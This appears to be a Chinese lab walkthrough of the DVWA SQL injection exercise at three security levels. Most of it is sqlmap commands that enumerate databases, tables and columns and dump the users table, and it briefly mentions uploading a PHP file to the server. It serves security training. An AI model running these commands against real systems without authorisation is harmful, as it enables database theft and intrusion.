DVWA-SQL Injection 基于sqlmap 注入
sqlmap 是一款用于自动化检测和利用sql注入漏洞的开源工具。是一款强大的渗透测试工具,旨在帮助专业人员更全面地评估和管理网络完全风险。
基于sqlmap对DVWA-SQL Injection 进行测试:
--low 级别:
在浏览器中F12或抓包,获取接口地址,请求方式,接口入参和cookie信息等信息。
使用sqlmap对接口探测
sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=low" --batch
执行结果:
手动尝试一下,提供的注入参数是否有用。
尝试爆破数据库名称信息
sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=low" --batch --dbs
执行结果:
尝试爆破数据库表信息
sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=low" --batch -D dvwa --tables
执行结果:
尝试爆破数据库表里的字段
sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=low" --batch -D dvwa -T users --columns
执行结果:
尝试对表内容进行爆破:
--medium级别:
查看接口信息:
尝试爆破数据库名称:传参形式以data的形式
sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=medium" --data="id=1&Submit=Submit" --batch
执行结果:
尝试爆破数据库名称:
sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=medium" --data="id=1&Submit=Submit" --batch --dbs
执行结果:
尝试爆破数据库中表信息:
sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=medium" --data="id=1&Submit=Submit" --batch -D dvwa --tables
执行结果:
尝试爆破数据库中users表的字段信息:
sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=medium" --data="id=1&Submit=Submit" --batch -D dvwa -T users --columns
执行结果:
尝试猜解数据库中users的数据内容:
sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=medium" --data="id=1&Submit=Submit" --batch -D dvwa -T users --dump
执行结果:
--high级别:
在high级别中,浏览器F12查看接口信息。
猜解数据库名称:
sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/session-input.php" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=high" --data="id=1&Submit=Submit" --batch
执行结果:
可以看到注入失败,没有返回数据库名称信息。
创建session_input_info.php文件,上传到dvwa服务器上获取session-input.php文件内容。
访问session_input_info.php 文件获取session_input.php 信息。
从session-input.php页面信息中,可以看出真实的查询请求是父级页面发出的。
所以,正确的注入路径应该是:http://192.168.52.132/vulnerabilities/sqli/
尝试是否允许注入:
sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=high" --data="id=1&Submit=Submit" --batch
执行结果:
也可以直接通过参数--second-url 同时尝试多个接口,如下
sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/session-input.php" -second-url="http://192.168.52.132/vulnerabilities/sqli/" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=high" --data="id=1&Submit=Submit" --batch
猜解数据库名称:
sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/session-input.php" -second-url="http://192.168.52.132/vulnerabilities/sqli/" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=high" --data="id=1&Submit=Submit" --batch --dbs
猜解dvwa数据库的表信息
sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/session-input.php" -second-url="http://192.168.52.132/vulnerabilities/sqli/" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=high" --data="id=1&Submit=Submit" --batch -D dvwa --tables
执行结果:
猜解dvwa数据库中users表的字段信息:
sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/session-input.php" -second-url="http://192.168.52.132/vulnerabilities/sqli/" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=high" --data="id=1&Submit=Submit" --batch -D dvwa -T users --columns
执行结果:
猜解dvwa数据库中users表的内容:
sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/session-input.php" -second-url="http://192.168.52.132/vulnerabilities/sqli/" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=high" --data="id=1&Submit=Submit" --batch -D dvwa -T users --dump
执行结果: